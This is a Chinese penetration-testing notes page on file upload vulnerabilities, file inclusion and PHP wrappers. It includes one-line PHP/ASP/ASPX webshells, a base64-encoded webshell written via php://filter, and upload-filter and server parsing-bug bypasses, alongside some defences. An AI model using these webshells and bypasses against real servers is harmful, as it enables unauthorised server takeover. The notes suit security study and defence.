文件上传笔记整理

这篇具有很好参考价值的文章主要介绍了文件上传笔记整理。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

  • 文件上传

    • web渗透的核心,内网渗透的基础
    • 通过上传webshell文件到对方的服务器来获得对方服务器的控制权
  • 成功条件

    • 文件成功上传到对方的服务器(躲过杀软)
    • 知道文件上传的具体路径
    • 上传的文件可以执行成功
  • 文件上传的流程

    • 前端JS对上传文件进行检测(文件类型)
    • 服务器端MIME类型(文件类型)检测
    • 服务器端目录路径检测
    • 服务器端文件扩展名检测
    • 服务器端文件内容检测
  • 常用的一句话木马

    • php
      • <?php @eval($_GET['cmd']);?>
      • <?php @eval($_POST['cmd']);?>
      • <?php @eval($_REQUEST['cmd']);?>
    • asp
      • <% eval request('cmd') %>
    • aspx
      • <%@ page Language ="Jscript" %><% eval (Request.Item["pass"],"unsafe");%>
  • 文件上传的几种情况

    • 前端JS绕过(验证文件后缀)
      • 浏览器设置禁用JS代码(不执行检测代码)
      • 正常文件上传,BP抓包修改文件后缀
      • F12检查页面代码,删除/修改检测函数(火狐支持,谷歌有代码保护)
      • F12检查页面代码,替换JS文件(检查窗口不能关闭)
    • 后端MIME类型绕过(验证MIME类型)
      • BP抓包后通过MIME类型爆破得到通过的MIME类型,后缀名修改
    • 后端文件后缀名验证+文件内容验证
      • 黑名单验证
        • 尝试对文件后缀名进行爆破(所有可执行的后缀名)
        • 如果对方是Apache服务器,可以尝试上传.htaccess文件,设置该文件夹下的文件都进行php解析(对方不过滤.htaccess文件且不修改文件名称时用)
          • <FilesMatch "1.jpg">SetHandler application/x-httpd-php</FilesMatch> (指定文件1.jpg用php解析)
          • SetHandler application/x-httpd-php (当前目录下所有文件都通过php解析)
        • user.ini文件绕过
          • .user.ini所在目录中的所有php文件解析时都包含1.php;相当于加上了include(./1.png);文件具体路径可以自己设置
          • auto_prepend_file=1.png;开头被包含
          • auto_append_file=1.png; 结尾被包含
        • 大小写绕过 .Php .pHp .PhP等
        • 空格绕过 .php ,
        • .绕过 .php.
        • ..绕过 .php.. .php......等
        • /绕过
        • ::$DATA绕过 .php::$DATA
        • 循环验证绕过.pphphp .phtmlhp等
        • unicode编码绕过
        • url编码绕过
      • 白名单验证
        • 路径绕过
          • 文件路径可以操作
            • POST hex下修改00绕过
            • GET %00绕过
          • 对文件路径无验证
        • 文件内容验证
          • 添加图片文件头绕过
          • 二次循环验证(针对文件内容被修改了)
        • 竞争上传(针对先保留再删除的验证逻辑)
        • 逻辑漏洞(代码审计出的逻辑上的漏洞)
          • 通过功能实现逻辑存在漏洞;需要代码审计
      • 解析漏洞(服务器对某些特殊文件按脚本格式处理而产生的漏洞)
        • Nginx
          • 空字节代码执行漏洞(<8.03版本)( 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37)
            • xxx.jpg%00.php
          • cgi.fix_pathinfo问题
            • 解释:例如/info.jpg/1.php/2.zhide
              • 先找/info.jpg/1.php/2.zhide文件;没找到则把/info.jpg/1.php作为文件查找;找到则用/inifo.jpg/1.php作为/info.jpg/1.php/2.zhide执行;还没找到则依次类推
            • 绕过方法(通过上传图片马;在图片的url路径结尾加上/1.php即可解析图片马)
              • /1.jpg/1.php
              • /1.jpg%00.php
              • /1.jpg/%20\0.php
          • 解决方式:
            • 设置php.ini中的 cgi.fix_pathinfo=0;
            • 禁止上传目录的执行脚本权限
            • 库站分离
            • 高版本设置security.limit_extensions = .php;限制php文件执行
        • IIS
          • IIS5.x~IIS6.x
            • /xx.asp/xx.jpg
            • xx.asp;.jpg
            • test.asa/ test.cer/ test.cdx/
            • 升级版本,更新补丁
          • IIS7.x
            • 任何文件后面加上/.php就会以php进行解析;直接在url中加就行
            • 可以实现对图片马的直接执行
            • 解决方法:设置php.ini中cgi.fix_pathinfo=0;并重启php-cgi程序
        • Apache
          • 2.4.0~2.4.29
            • $可以匹配\n \r等字符;(换行解析漏洞)

              文件上传笔记整理,笔记,文件上传,安全,php

            • php%0a绕过;会当成php进行解析
            • php\x0A绕过;同上
            • 升级apache版本即可避免这个问题
          • 允许多个后缀且从右往左识别后缀名(多个后缀识别解析漏洞)
            • test.php.php123 (从右往左进行判断解析)
          • Add Handler解析漏洞
            • 如果用户手动设置了.php文件的解析
              • AddHandler php5-script .php
                • test2.php.jpg绕过;后缀存在php就用php进行解析
              • AddType application/x-httpd-php .jpg (即使扩展名是jpg也一样用php解析)
                • 设置的所有后缀都会以php解析
            • 解决方法:默认不手动设置php解析操作
  • 文件包含

    • 本地包含
      • 普通的文件包含;地址为本地地址
    • 远程包含
      • 文件地址为url远程文件地址
    • php伪协议
      • allow_url_fopen默认开启 allow_url_include默认关闭
        • 常用的伪协议示例

          文件上传笔记整理,笔记,文件上传,安全,php

      • file:// +文件的绝对路径
        • 使用本地的绝对路径
      • php://
        • 常用
          • php://filter/read=convert.base64-encode/resource=./index
            • 查看源码
            • 参数格式
              • resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
              • read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
              • write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表>
                • filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=
                • 打开文件时对内容进行base64解码然后写入
              • 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
            • 编码类型(过滤器)
              • 文件上传笔记整理,笔记,文件上传,安全,php文章来源地址https://www.toymoban.com/news/detail-814874.html

          • php://input+POST请求内容(具体内容必须写在POST请求体中)
            • 元数据的只读流;allow_url_include=On时可用
            • 注:当enctype=”multipart/form-data”时,php://input是无效的。
        • php://output
          • 将内容以标准输出的形式写道缓存区
        • php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include
      • https/http://+url地址
        • allow_url_include=On;allow_url_open=On;
        • 多用于远程文件包含
      • 压缩流
        • zip://压缩文件绝对路径%23压缩包中文件名
          • 可以直接执行压缩包中的内容
          • %23 #
          • zip://D:\phpstudy_pro\WWW\123.com\text.zip%23text.txt
        • compress.bzip2://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • compress.zlib://[文件绝对路径|文件相对路径]
          • 访问压缩文件中子文件
        • phar://[文件绝对路径|文件相对路径]/[子文件名称]
          • 归档;访问压缩文件中的子文件
      • data://text/plain 具体命令
        • allow_url_fopen=On allow_url_include=On
        • data://text/plain;base64,<执行代码的base64编码> | data://text/plain,<执行的代码>
        • 读取文件内容并执行
      • glob://
      • ssh2://
      • rar://
      • ogg://
      • expect://
  • 文件包含防御

    • allow_url_include和allow_url_fopen关闭;
    • 对用户包含的文件进行限制,如白名单、open_basedir;
    • 检查用户输入;
    • 检查变量是否初始化;
    • 关键的过滤在服务器端进行;
  • 文件下载

    • 抓取能下载的文件路径;尝试利用../操作来获取对方未允许下载的文件
    • 一般都设有文件保护
  • 小技巧

    • WINDOWS系统对大小写不敏感,Linux对大小写敏感(可以尝试对网址大小写修改判断对方操作系统)
    • 通过修改登录页面index文件的后缀名判断网站的编程,如.php、.asp、.jsp(能运行表示使用该编程语言)
    • 文件上传绕过步骤(大致思路)
      • 上传正常的图片文件看回显
      • 删除MIME类型看效果
        • 有问题就MIME爆破
        • 没问题再测试后缀
      • 乱码后缀检测对方的验证方式(确认黑名单还是白名单)
        • 黑名单时后缀名爆破
        • 白名单时尝试解析漏洞

到了这里,关于文件上传笔记整理的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全] Windows Server 设置文件屏蔽防止黑客利用漏洞上传特定类型的非法文件(.asp .aspx .jsp .php)

    [网络安全] Windows Server 设置文件屏蔽防止黑客利用文件上传漏洞上传特定类型的非法文件(.asp .aspx .jsp .php) 我在负责网站运维期间,遇到过一次黑客利用公司网站内使用的开源文件上传工具漏洞上传非法文件(可执行脚本) 我是通过设置文件屏蔽来防止此类事件的再次发生。

    2024年02月12日
    浏览(59)
  • web安全学习笔记【22】——文件上传(1)

    WEB攻防-PHP应用文件上传函数缺陷条件竞争二次渲染黑白名单JS绕过 演示案例: PHP-原生态-文件上传-前后端验证 PHP-原生态-文件上传-类型文件头验证 PHP-原生态-文件上传-后缀黑白名单验证 PHP-原生态-文件上传-解析配置二次渲染 PHP-原生态-文件上传-逻辑缺陷函数缺陷 #知识点

    2024年04月17日
    浏览(40)
  • 「PHP系列」PHP文件处理及文件上传详解

    PHP 提供了丰富的文件处理功能,使得开发者可以方便地在服务器端进行文件的创建、读取、写入、删除等操作。以下是一些常见的 PHP 文件处理操作及其示例: 使用 fopen() 函数打开文件: 模式可以是以下之一: \\\"r\\\" :只读方式打开,将文件指针指向文件头。 \\\"w\\\" :写入方式打

    2024年04月22日
    浏览(45)
  • php 文件上传

    目录 1 php.ini 配置文件的修改 2.系统返回码详解 错误级别 4.上传简单示例  5.php代码简单优化 配置项 说明 file_uploads on 为 开启文件上传功能, off 为关闭 post_max_size 系统允许的 POST 传参的最大值 ,默认 8M upload_max_filesize 系统允许的上传文件的最大值 ,默认 2M menory_limit 内存使

    2024年01月25日
    浏览(41)
  • 文件上传之PHP

    (1)图片头 GIF89a ① ② ③ php短标签 我们最常见的 PHP 标签就是?php ?了,但是 PHP 中还有两种短标签,即? ?和?= ?。当 “php” 被过滤了之后,此时我们便不能使用?php ?了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;。 其中,? ?相当于

    2024年02月15日
    浏览(40)
  • PHP文件上传之条件竞争(其一)

    目录 一、什么是条件竞争 二、场景代码分析 本文用于实验的PHP代码如下:  知识点补充: 代码分析: 三、条件竞争步骤 1、竞争payload: 2、竞争方法: 1、burpsuite: 2、python脚本:   在某些文件上传情境中,后端代码会先保存我们所上传的文件,然后再检查我们上传的文件

    2024年02月05日
    浏览(58)
  • PHP文件上传漏洞原理以及防御姿势

    0x00 漏洞描述 ​ 在实际开发过程中文件上传的功能时十分常见的,比如博客系统用户需要文件上传功能来上传自己的头像,写博客时需要上传图片来丰富自己的文章,购物系统在识图搜索时也需要上传图片等,文件上传功能固然重要,但是如果在实现相应功能时没有注意安全

    2024年02月02日
    浏览(83)
  • PHP模拟上传文件使用CURLFile函数 加精!!!

    一、CURLFile 介绍 CURLFile::__construct (PHP 5 = 5.5.0, PHP 7) CURLFile::__construct – curl_file_create — 创建 CURLFile 对象 说明 面向对象风格 过程化风格 创建 CURLFile 对象,使用 CURLOPT_POSTFIELDS 选项上传文件。 参数 filename 被上传文件的 路径。 mimetype 被上传文件的 MIME 类型。 postname 上传数据里

    2024年02月05日
    浏览(77)
  • Unity UnityWebRequest 向php后端上传图片文件

    之前测试功能写过一次,因为代码忘记保存,导致真正用到的时候怎么也想不起来当初怎么写的了,复现后还是写个文章记录一下,省的下次再忘记。 搞定。

    2024年01月23日
    浏览(54)
  • 【PHP】问题已解决:宝塔面板搭建php网站无法上传图片或是文件(保姆级图文)

    『PHP』分享PHP环境配置到项目实战个人学习笔记。 欢迎关注 『PHP』 系列,持续更新中 欢迎关注 『PHP』 系列,持续更新中 宝塔面板搭建php网站无法上传图片或是文件。 检查你的php里是否安装了 fileinfo 扩展,这会影响文件上传,而且因为宝塔面板让你有多个版本的php,所以

    2024年02月07日
    浏览(62)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包